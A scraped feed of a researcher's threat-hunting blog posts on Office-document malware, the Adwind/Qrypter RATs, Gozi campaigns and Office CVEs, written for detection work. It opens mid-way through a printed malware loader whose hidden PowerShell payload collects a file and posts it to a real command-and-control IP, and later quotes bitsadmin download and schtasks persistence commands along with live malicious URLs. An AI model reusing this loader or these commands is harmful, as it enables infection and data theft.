NDY0R2VmcnpzOTkrK2V1cVN2L2ZEcjRuL1B6VGQxTlp0c1BjMy83OTlMNm50L3ZibisvbWUwN01Iei83NDh4Ly8vR1hIN09SNnhmcUhpN1haSC81aTlyWCtuVXMzN01mUi9WN2VNblY1Mkx3K2E5M0ovenljd0x6NzltTC8reFF2L3p4VjcvKzk2OC9GdjNKejhrWGYvMWpDLzRQCidACiREZWZsYXRlZFN0cmVhbSA9IE5ldy1PYmplY3QgSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbShbSU8uTWVtb3J5U3RyZWFtXVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkRW5jb2RlZENvbXByZXNzZWRGaWxlKSxbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6RGVjb21wcmVzcyk7CiRVbmNvbXByZXNzZWRGaWxlQnl0ZXMgPSBOZXctT2JqZWN0IEJ5dGVbXSg2MzE0OSkKJERlZmxhdGVkU3RyZWFtLlJlYWQoJFVuY29tcHJlc3NlZEZpbGVCeXRlcywgMCwgNjMxNDkpIHwgT3V0LU51bGwKKFtUZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRVbmNvbXByZXNzZWRGaWxlQnl0ZXMpKSB8IElFWAo=";
 var jsLoaderPS1 = "59d76612d0bf51.62744684.ps1";
 var jsLoaderRunDir = "{453359DE-4049-82E2-E58D-F96EEF430F04}";

 var fldr = sh.ExpandEnvironmentStrings("%HOMEPATH%") + "\\" + jsLoaderDir + "\\" + jsLoaderRunDir;

if (fso.FolderExists( sh.ExpandEnvironmentStrings("%WINDIR%") + "\\SysWOW64" ))
       var powershell_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe";
else
        var powershell_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";

 var p = fldr + "\\" + jsLoaderPS1;

 var vers = "3";
 var uuid = "1";
 var com_pref = "oc06";
 var botSufx = "_oOG4DHP3g";
 var kkid = "203";
 var alfIn  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
 var alfOut = "Dt4bzk9T0fOQVvo2Mw1JgnZR5PhFaBG3cYWiUAjHNIdXCql8rspSLEuy7x6mKe";
 var sepr = "%SEPR%";
 var botId = cuid() + botSufx;
 botId = vers + "-" + uuid + "-" + com_pref + "-" + botId;
 var urlArr = [];
 urlArr[0] = "http://31.148.220.215:80/cd";
urlArr[1] = "http://31.148.220.215:443/cd";
urlArr[2] = "http://31.148.220.215:8080/cd";
urlArr[3] = "http://31.148.220.215:53/cd";
urlArr[4] = "google.com";


 pausecomp( 2 * 60 * 1000 );

 var f = fso.OpenTextFile(p,2,1);
 f.Write( b64dec(PS1Body) );
 f.Close();

 cmd = powershell_pthpath + ' -version 2.0 -NoP -NonI -ExecutionPolicy Bypass -WindowStyle Hidden -File "' + p + '"';
 sh.Run(cmd, 0, false);

 pausecomp( 5 * 60 * 1000 );
try{ fso.DeleteFile(p, true); }catch(e){}

 var usrName = sh.ExpandEnvironmentStrings("%USERNAME%");
 p = sh.ExpandEnvironmentStrings("%APPDATA%") + "\\" + usrName + ".ini";
 var outData = readFile(p);

try{ fso.DeleteFile(p, true); }catch(e){} 
 var contentsHtml = "";

 outData = b64enc(outData);
 outData = "stels" + sepr + outData;
 var entry = randomParamName();
 var v = encodeURI(SimpleEncrypt(outData))
 contentsHtml = downLoadUrl("POST", urlArr, randomUrl(botId), entry + "=" + v);

 fso.DeleteFile(WScript.ScriptFullName, true);
}catch(e){}
*/}).toString().slice(16,-4);

try {
 lalala();
} catch(e) {
 eval(evalString);
}

The payload is dropped from the IP  31.148.220.215/cd as can be seen in the script above.

To detect this threat, as it has a very unique Schedule Task, can be detected checking all the schedule tasks with the string "user\", where the maliciuos script is allocated. For example, the following PowerShell command could be executed with a script across different system




What other useful Use Cases can be used to detect this threat?

Any JS script executed using a TXT file is an anormal behaviour, for example:





Any Wscript command spawing PowerShell



Any created schedule tasks which uses a file from a user directory





The technique of embedding malicious code in office document via OLE objects is not new at all. Monitoring the processes created by office applications or WScript commands executed is a good source of spotting malicious activity. The schedule tasks in user space is also a good source of potential maliciuos activity.





                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Hunting APT28 CVE-2017-11292 Flash Vulnerability

                     

                                              October 21, 2017, 2:11 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         Proofpoint made public a couple of days ago that APT28 is using the last flash 0-day CVE-2017-11292 via some malicious weaponized DOC files; APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed

So far I have not seen this vulnerability abused by common malware but I guess is a matter of time that cyber criminals starts using it. 

At the moment in VT there are only 2 files with the tag CVE-2017-11292 . 


The second one is basically the Flash embedded into the first one.




In order to create a Use Case to detect it, first of all I check which processes are
spawned by Microsoft Word, but unfortunately there is no single processes spawned.
Although, I see there is some communication performed to a domain blackpartshare.com




This means that Microsoft Word is doing the connection to Internet, and I can hunt for that:


Seeing the amount of malware abusing Microsoft Word documents, it is  a must to closely monitor any anormal activity coming from Microsoft Office as I have discussed in this blog, like for example, commands spawned, connections done, etc.

The domain accessed in this case is  the domain reported in proofpoint blog post which has been registered a couple of days ago.


Again, this might be a good indicator.

if you can get a whitelist of domains which are most frequently accessed in your environment and combined with top Alexa 500, you might create a Use Case to monitor the registration date of the domains which might be a good indicator. I wrote a Use Case to detect this kind of behaviour in Exploit Kits some time ago; Hunting Exploit Kits Abusing Domain Generator Algorithm. There might be other ways to do it, via for example Passive DNS or similar, but in the end the the target is the same.

Coming back to the behaviour of this malicious DOC file, one of the things I see is that it loads some Image in order to open the flash embedded via an ActiveX in the document. 



It is possible to spot this behaviour while monitoring what Image are loaded by Microsoft Word


Monitoring all the Image Loaded by a process like Microsoft Office can generated lot of noise, that is why it is important to narrow with appropriate filters. 
Things like Flash, with historically many vulnerabilities being exploited, is something you might consider to monitor closely.

Now it is possible to combined two use cases: the connections established by Microsoft word and the Flash image loaded in order to create a more advance Use Case. This is done with one sub-search using the process_id.

I search for any MS Office process which loads flash and then performs a connections to Internet.




There might be other approaches, like monitoring registry keys related to Flash and office, and connections, but I find this process quite simple and working.

Again, it is important to keep a close eye in any Microsoft Office process and the connections established, as this might be good indicators :)




                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Detecting Adwin malware weaponized in MS office documents

                     

                                              November 19, 2017, 11:50 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         In a daily basis I see lot of Adwin malware trying to infect end users

Adwin is a multiplatform Remote Access Trojan (RAT) which has been in the wild for some time. In this Kasperky Blog post there is a good historical analysis.

In most of the cases Adwin is delivered as an attachment via email (as ZIP or JAR file), but it is not the only way.  I've dealt with incidents involving Adwin where the infection vector was a malicious link.

Other potential infection vector is via weaponized MS office documents. Some of this weaponized document have really low detection rate, like the one above, which it is only detected by 20% of the Antivirus at the moment of this writing and 8 AV (from of a total of 60) when the file was originally reported

 






The malicious payload, a JAR file, is included in the MS office Document as an OLE object.







This can be seen doing some manual analysis on the file:





A Simple Use Case to detect the malware is to monitor any process spawned by MS Office, in this case it is a Java Process



In terms of persistence, the malware can be detected easily, as it creates an entry in the registry "HKCU\Software\Microsoft\Windows\CurrentVersion\Run " pointing to a java executable which it is allocated in the the AppData directory of the user:




This can be easily hunt with a remote PowerShell query, like the one below




Adwin malware kills massively processes relates to Antivirus and monitor tools, which can be also a good indicator for detection



To avoid those processes to be executed again the malware uses an interesting trick. It includes the processes in the registry key as 'debugger=svchost.exe' using the "Image File execution Option". This technique is described in this blog post







This can be spotted straight forward with a query, checking any registry imported from the AppData user folder, like the one above:



Another way is to monitor all the registry keys being set with debugger




IOC:

185.172.25.13
245addb0e7b0d9f63e8a63efb8c77ffdc4e39cb2ddbbe8a138f3203e7458caf5



                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Hunting for Microsoft Equation Vulnerability  - CVE-2017-11882 

                     

                                              November 20, 2017, 9:54 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         
Since Microsoft released November patches last week where CVE-2017-11882 was addressed, I've been trying to get a sample in order to perform some checks for the vulnerability. Today thanks to Corsin Camichel I got the PoC

There is some information about this PoC in this blog post

At the moment the detection rate of the malicious files used in this analysis is really low.




Office doesn't spawn any unusual process while exploiting this vulnerability, hence a Use Case which monitors unusual processes spawned by Office will no detect the exploitation of this issue.

However, in this case, we need to pay attention to the the equation tool process "EQNEDT32.EXE". This process is the one who spawns other processes, hence monitoring those child process will detect any potential exploitation.
A basic Use case to detect is below.






Time for monitor your EQNEDT32.EXE processes :)




                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                                        

                       

                         
                
    

                       

                     

                     
↧

                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Qrypter Java RAT using Tor

                     

                                              December 27, 2017, 2:21 pm
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         Since the 16th of December, almost in a daily basis, I'm seeing a particular family of Java Remote Access using Tor. 



The samples I took a look are rarely detected by AV




The malware communicates via a Tor proxy with the malware developers website https://vvrhhhnaijyj6s2m.onion.top/


Qrypter seems the name of the product, which is developed by a company named 
"QUAverse Research & Development 2017"

One of the feature, according to the developers is its low rating detection. And indeed this is true :)


There is some recent information about "Qrypter" in Twitter from a researcher https://twitter.com/rcherj/status/940252259363016704 and a post from another company, Certego (http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/)

  




That information links Qrypter to Qarallax / Quaverse RAT. Quaverse, is actually the company who is behind QRypter. According to Malpedia, QRat / QRallax RAT have been in the wild since 2015



There is some information about this QRat/Qarallax/Quaverse in several presentations and posts:



In some other Tweets, some analyst links he same behaviour of Qrypter and Adwind JRat





Actually, doing the analysis of the malware I can see similar behaviour like Adwind. 
(I wrote a bit about how to detect Adwind in here)

¨



The samples I took are heavily obfuscated with several layers of embedded JAR files which reminds to the analysis done by malwarebytes and in this post 

Actually, after some analysis of the files I ended up with the same MANIFEST.MF pointing to a Main-Class operationl.JRat which matches Adwind.



And with a bit of further analysis, I end up with the same kind of configuration used by Adwind.




So in essence, this Qrypter looks like Adwind with some additional encryption layers.

By the way, another good analysis of this Adwind malware can be found in this post 


Let's continue taking a look to the specific campaign seen since the 16th of December.

The first sample I detected, which can be found here https://www.virustotal.com/#/file/7e33381a99928f7b346dd613e5712923b6816d1da69b43cf4f12c2d313ed2903/detection already used the domain vvrhhhnaijyj6s2m.onion.top 





The last one the last one detected, at the time of this writing https://www.virustotal.com/#/file/b68eb3096328fa3bfabbeb7a178ea7075539e15ef19fbc65ab3e89f980c60967/detection also used the same domain.



According to PassiveTotal that domain has been active since the 30th of November 2017



The first malicious samples under that domain existed from the 5th of December




But this was not the only domain used by Qrypter, but some other onion domains existed

https://vvrhhhnaijyj6s2m.onion.rip/ - active since 1st of December 2017
https://vvrhhhnaijyj6s2m.onion.to/ - active since 11 of September 2017

And there are some other which looks very fresh:

https://buzw55o32jgyznev.onion.link

https://buzw55o32jgyznev.onion.to/


Qrypter uses a tool to control the plugins installed: Qcontroller. This tool also uses Tor to connect to the he developers website.









Several plugins can be used:








QRypter product seems like the evolution or another version of Qarallax/Quaverse.  Besides the obfuscation and the connection via Tor with the developers website, to install additional plugins, there is not much of innovation on this Java RAT.














                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Analysis of Adwind embedded in a MS-DOS file

                     

                                              March 3, 2018, 9:22 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         A few days ago there was a malspam campaign mimicking one bank and delivering a PDF file and some DOC files exploiting CVE-2017-11882










The PDF file contains several images and and two interesting URLs





The first URL, http://dropboox[.]ga clearly is a phishing link for Dropbox, however in this case it is not being used.

The other link, is still active by the time of writing this post, https://urlz[.]fr/6DWd,  redirects to http://mineralsconventionregistration[.]ca/Scann%20copy.z which it is a compressed file. In VT this file is being flagged: https://www.virustotal.com/#/file/670bca12bb20921b4689bb2651a8cc7b87840f31dbf729694027db4fb64e3296/detection




The first time I tried to detonate the file in several sandboxes it did not work, so I was interesting to understand a bit more. The file inside has .JAR extension, however the magic number for this file doesn't really correspond with the extension of the file, as it is MS-DOS




A first analysis of the file shows interesting things.  The beginning of the file is a MS-DOS file:


However, it contains several more files inside:




The analysis from previous tools seems is not accurate as one of the MS-DOS file has 7.2MB, however the total file is only around 800k. Checking with other tools, the analysis is different, for example, with foremost the MS-DOS files doesn't show





When unzipping the the .jar file, there is some warning :




I did a manual analysis on the file and as first look I even see some HTML, PHP and JavaScript code, right after the first MS-DOS code




When dumping the first PHP file, the content clearly is a phishing website to get passwords from email.




Then I forced my sandbox to detonate the file as JAR file, and ignoring the magic number, this worked and I could see they typical Adwind behaviour.








The connection to the Jrat C&C is 185.29.10.138:6060  (jrat138.duckdns.org). That IP is not new to me, as I have seen this IP linked to Qrat / Qrypter / Adwind in some analysis I i did in the past . 

As I said in the beginning, the file doesn't detonate in some sandboxes, due to how it is built. For example, this is the analysis from HA with no detonation

https://www.hybrid-analysis.com/sample/94f087e4f03d4c109db44e9c111e8a4c500ef619ccb5a4833b283495b9ecb23e?environmentId=100
Other sandboxes, detects that the extension doesn't match the magic number




Regarding the AV, it seems some of them detectes the HTML, in the beginning of the file, as phishing. While other detect it as Adwind




The behavior of the DOC files is very similar. However, instead of including the URLs in the PDF file,  CVE-2017-11882 is exploited to download the maliciuos file:




http://mineralsconventionregistration[.]ca/scan.hta

In the end, the final payload is exactly the same in bot cases, however the URL is not exactly the same:

http://mineralsconventionregistration[.]ca/scan.jar





Regardless of what the AV / Sandboxes detect, and what the magic number is,  when the user opens the file via the explorer, the file is executed like a normal Java file, hence it gets infected with Adwind. It seems that bad guys are trying with this techniques to by-pass some detection controls.


IOCs:

 http://dropboox[.]ga
185.29.10.138:6060  
jrat138.duckdns[.]org
http://mineralsconventionregistration[.]ca/scan.jar
http://mineralsconventionregistration[.]ca/scan.hta
1540f31ed4c2a721771dbc452b8feeaa
a9122eb1e0345568540ae6a9e35432cc
1540f31ed4c2a721771dbc452b8feeaa




                       


                           
                       
                     


                   


                   
↧


                   
                                        

                                                                                                                                          
                

                  

                    
                    

                      Search
                                          

                  

                                    
                  
                

                     

                     

                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Inside Qarallax / Adwind / Qrypter leading to Tesla / HawkEye (part 1)

                     

                                              March 15, 2018, 12:45 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         
A few months ago I wrote about some Java RAT named QRypter (aka QRat or Qarallax) which is basically Adwind with some layers of obfuscation. The post is here.

Usually, this RAT is used as first stage of the infection. In a second stage additional payload is deployed in the victim. But before I explain this, let's take a look to the capabilities of this QRypter / Adwind.


This RAT written in Java is multiplatform. As it can be seen in the screenshot below is full of functionalities.  


The basic options permits to have full visibility and take control on the victims's file system, processes, connections, etc






But besides that, there are more advance functionalities like capture the webcam, access via Remote Desktop, remote console, retrieve stored password, capture the microphone, key logger, SOCKS proxy, retrieve the data from wallets, etc.


For each of the functionalities, there is an existing module. The modules are original from JBifrost malware, so clearly this is based on JBifrost malware.






Also, the remote console is based on JBifrost


The remote desktop functionality permits also to add new users






But, if all this features are not enough, there is also the possibility to automatically download any additional payload once the victims connects to the C2. This allows to deploy any additional payload to the victims without any interaction in the C2

 

Actually, lot of AgentTesla and HawkEye are being deployed this way.

So, let's talk about a bit AgentTesla and HawkEye

This two families of malware are very close in terms of capabilities and are used by threat actors which operate with similar TTPs. 

HawkEye and AgentTesla main target is to take screenshots of the victims, dump all the passwords stored in different programs (Outlook, browser, etc) and dump all the historical of cute&paste / keylog done in the system. The data is exfiltrated either via HTTP or via mail.

The first thing that happens, after a victim is infected via HawkEye, is that the threat actor receives an email informing that there is a new infection. This is a "Execution Confirmed" message. The content of such data is quite interesting as it contains information about the system, including the name of the file which was the infection vector, the private IP of the system the time frame to log and the functionality enabled.






On the other hand, AgentTesla already provides some data exfiltrated with information about the victim and screenshots in the first email. This is  "screen capture"





HawEye  provides 2 other messages: "stealer records" and "keylog records". The first one is password dumps,  while the second one is all the information recorded in the clipboard and a screenshot



AgentTesla sends two additional set of data: "Keystrokes" and "password recovered".


(To be continued)






                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
qthelegend: the new Qrypter for Adwind

                     

                                              May 10, 2018, 10:46 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         Since last December, when I blogged  the first time about Qrypter, I've been tracking Adwind malware using this service. 

@abuse.ch wrote a very interesting post about the providers hosting the C2 infrastructure which is being used by malware encrypted with Qrypter.


Since a few weeks Qrypter has migrated to a new platform and doesn't use Tor any more













The new version of Qrypter uses a Java application running locally, which encrypts the files.



In order to use the application, the user must be registered and buy a license  (credits). 






I wanted to check if there is any substantial change in how the malware is encrypted with the service, hence I took a look to a recent sample. The behaviour analysis doesn't really show any difference. 





While debugging the malware  I can see the different Java processes executed until the final payload is decrypted and executed



In the end the configuration for the command and controlled is obtained the same way than with previous Qrypter version






During the analysis process, I can see the typical Adwind behaviour executing VB scripts for checking AV installed, local firewall and making itself persistent via the registry













Qthelegend, the new Qrypter, has not really change in terms of how the malware is encrypted.


                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                                        

                       

                         
                
    

                       

                     

                     
↧

                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
 Gozi malspam campaign mimicking Swisscom on 30th July 2018

                     

                                              August 6, 2018, 12:00 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         A few days ago GovCERT.ch informed via twitter about a malspam campaign mimicking Swisscom invoices.



The malware delivered in the latest stage was Gozi / Ursnif. But let's analyse a bit this campaign.

The malspam campaign is based on e-mails mimicking invoices from the telco Swisscom and with a HTTP link to a ZIP file. The ZIP files contains an obfuscated Visual Basic Script (VBS)



The VBS was not detected by many AV:



The script executed the following commands:


C:\Windows\System32\cmd.exe' /c bitsadmin /transfer mxs5 https://bestouters.com/online/docker.php2 C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe &

bitsadmin /create /download IUII &bitsadmin /addfile IUII https://bestouters.com/online/index.php C:\Users\user~1\AppData\Local\Temp/oXzEXmPNy.txt &

bitsadmin /setcustomheaders IUII User-Agent:STARLEX &

bitsadmin /resume IUII &bitsadmin /complete IUII &

schtasks /create /st 17:10/sc once /tn sw3 /tr C:\Users\user~1\AppData\Local\Temp/JZCzDJTTgS.exe

It is interesting to see how the command 'bitsadmin' is used to drop the payload from " https://bestouters.com/online/docker.php". This technique is well known to be used by malware so it is a must to monitor such process, for example via Sysmon.
Also, the fact that the user-agent is setup to "STARLEX"makes this campaign unique, however, looking to the network traffic, it seems that this never worked and it used the default bitsadmin user-agent:




In any case, monitoring the user agent either for strange names or "Microsoft BITS" will provide good insight about suspicious activity.
The last two steps are related to the schedule task created via "schtasks" command. This is a good technique to delay automatic malware sandbox analysis, but it is also very easy to detect via proper detection use cases. Two things here can be monitored: the command "schtasks /create" and the fact that a binary under the "AppData" folder is called. Generally talking there should not be binaries being called from *AppData* as this is also a suspicious activity.

Clearly, this Gozi campaign was very noisy and easy to detect with some basic use cases.

Regarding the analysis of the Gozi binary dropped, there are a couple o interesting things. First, it was signed with a valid certificate:





And this same certificate was used to sign other Gozi binary used in other campaign in other country the same day. 

Secondly, it seems the malware had some debug code enabled which showed the version of the code (version 3 build 613)




The last point is that this version of Gozi/URsnif seems to be based on this leak ISFB source code on account that the DGA CRC matches '0x4eb7d2ca' together with the DGA base URL "http://constitution.org/usdeclar.txt"







However this version of Gozi is not using the DGA feature,  but the URL acting as C2 https://bybybaby.top is hardcoded








                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Hunting malware in memory. A Gozi case.

                     

                                              November 24, 2018, 10:47 am
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         
Some of the actors using Gozi / Ursnif take advantage of compromised emails (BEC) to deliver weaponised Microsoft Office documents. This is not new at all, however in the last week I've seen an increase of such attacks. In recent campaigns, the office document contains a macro which spawn a cmd.exe which executes a PowerShell to download the payload.


This could be easily detected with any end-point use case which monitors processes and parent processes.

Also, Gozi can be easily detected via the registry keys as the malware itself is stored there.






The dropped payload from this Gozi version executes some unique  PowerShell command in order to persist in the registry key, which can be easily hunt:



Some endpoints solutions have the capability to run searches against Yara rules. In some cases the searches can cover running processes, live memory and specific files within a given folder. A good example is the open source project malscan which permits to scan process in memory. This is really an interesting way to detect malware in end-points.

For details on how Gozi works, there is a good post from Vitali Kremez explaining how recent versions of Gozi works.  In essence, Gozi injects a DLL (client.dll) in the explorer.exe process so it is possible to hunt for the URL C2 strings in this process. I already extracted the URL C2 strings in some past blog entry 



rule isfb_gozi_V217039_C2_memory {
     meta:
      description = "Gozi C217039 C2 mem explorer.exe"
      author = "@Angelill0 -  Angel Alonso Parrizas"
      date = "2018-11-19"

   strings:

        $s1 = /soft=\S+&version=\S+&user=\S+&server=\S+&id=\S+/  // Gozi V2
        $s2 = /soft=\S+&user=\S+&server=\S+&id=\S+/ // Gozi V2
        $s3 = /soft=\S+&version=\S+&user=\S+&group=\S+&id=\S+/  //Gozi V3

   condition:
        $s1 or $s2 or  $s3

}



Running the Yara rule against an infected system, it is possible to detect the C2 in memory:






                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                                    
                                                                                                                                                                                                                                                                          
                                                                            
                                                                                                                                                                                                                     
                   

                     
                     
                   

                   


                     
                                        


                   
                   

                                          
Knowing your adversaries and their TTPs. The Gozi case

                     

                                              December 30, 2018, 3:20 pm
                     


                     
                     

                     
                     
                                          
                     
                                          
                     
                   


                   
                   


                     
                     

                       
                       

                         
                              
                         

                          
                           $
                         

                         

                            
                               
                           
                           0
                         


                         

                            
                               
                           
                           0
                         


                         
                               
                         

                         
                                
                         
                       

                     

    
                                                               
                     
                     

                       

                         Gozi (aka Ursnif), as many other financial malware, is used by several different actors operating world-wide. In a daily basis I see Gozi campaigns trying to infect users, however each campaign has their own 'particularities' which permit to differentiate between each campaign and the different criminal groups using the same malware. This set of 'particularities' are know as Tactics, Techniques and Procedures (TTPs).


A good resource to understand the different tactics and techniques used by adversaries is MITRE ATT&CK.  A lot of these techniques are mapped and implemented through the sigma project from Florian Roth, which can be deployed in several SIEM vendors. However, a key requirement to implement these rules is to have proper end-point monitoring on account that most of the techniques from ATT&CK are base on end-point detection. In Windows environments, this includes events from Sysmon, Windows security logs and PowerShell logs. 

Monitoring PowerShell is nowadays a must as many adversaries are using PowerShell, and frameworks using PowerShell like Empire, PowerSploit, Cobalt Strike, etc, as part of their tool arsenal.  A few weeks back, during Botconf 2018, Tom Ueltschi did a presentation with the title "Hunting and detecting APTs using Sysmon and PowerShell logging". During his presentation Tom focused on detecting the ATT&CK techniques T1084 (Windows Management Instrumentation Event Subscription), T1037 (Logon Scripts) and T1086 (PowerShell) and he explained the approach he followed to detect APT attacks which use PowerShell at some point.

Going back to Gozi, the idea is to use some of the unique TTPs to cluster different campaigns and associate them to unique groups. For that, I focus the analysis on some key aspects:

  • Delivery Mechanism: Email is the main distribution mean, however there are differences between campaigns. For example, in some campaigns stolen email credentials are used. In some other other fake invoices are used as attachment, etc.
  • Attachment  / Link: In some cases, the attached file is a VBS script. Other times, it is weaponised Microsoft Word Documents. Eventually, there is not attachment but malicious link.
  • Utilities: Built-in tools from the OS that are being used. For example, PowerShell, cmd.exe, certutil.exe, BITS, etc.
  • Full Command: Unique set of commands being use to pull the malware. This combines the utilities but sometimes using some unique 'patterns'.
  • Binary signed: whether the dropped binary is signed or not.
  • Gozi Version: version 2 or 3.

(This is just an example of some of the key indicators that can be used to cluster difference campaigns)

Analysis  of the VBS, Gozi version, PowerShell commands..

For the analysis of the different campaigns I combined some dynamic analysis techniques with sandboxes, similar to what I did here, and some debugging. For example, for the VBS scripts and in order to extract the set of commands without fully detonating the malware I use x32dbg with a breakpoint on Shell32.ShellExecuteExW.









By the way, with proper PowerShell logging the transcript of the logs provides the full set of commands executed:





The analysis of the Gozi Binary version is done with some Yara rules running in memory. 








Putting all together, I am able to create some matrix where I can identify the overlap between campaigns, which potentially link to unique actors: 






                       


                           
                       
                     


                   


                   
↧


                   
                   
                   
                   
                 
               


            
            
                              



               
               





                                   
                     

                     
                        Viewing all 65 articles
                     
                     

                                                                                                      

               

                
                        

                  
             
         
            
               
             
         
         
                              


               

                                                                     
                     
                        Browse latest
                     
                                                      
                     
                        View live
                     
                                                 


               

               

               


               
                          
                        
            
                                      
            

            

              

                
                
    

              

            

            



          


          
          
            


              
                            


                                
                                

                  

                    
                  

                

                
                  
                                


                                    
                  
                                    

                                                                                                                                        
                

                  

                    
                    

                      Search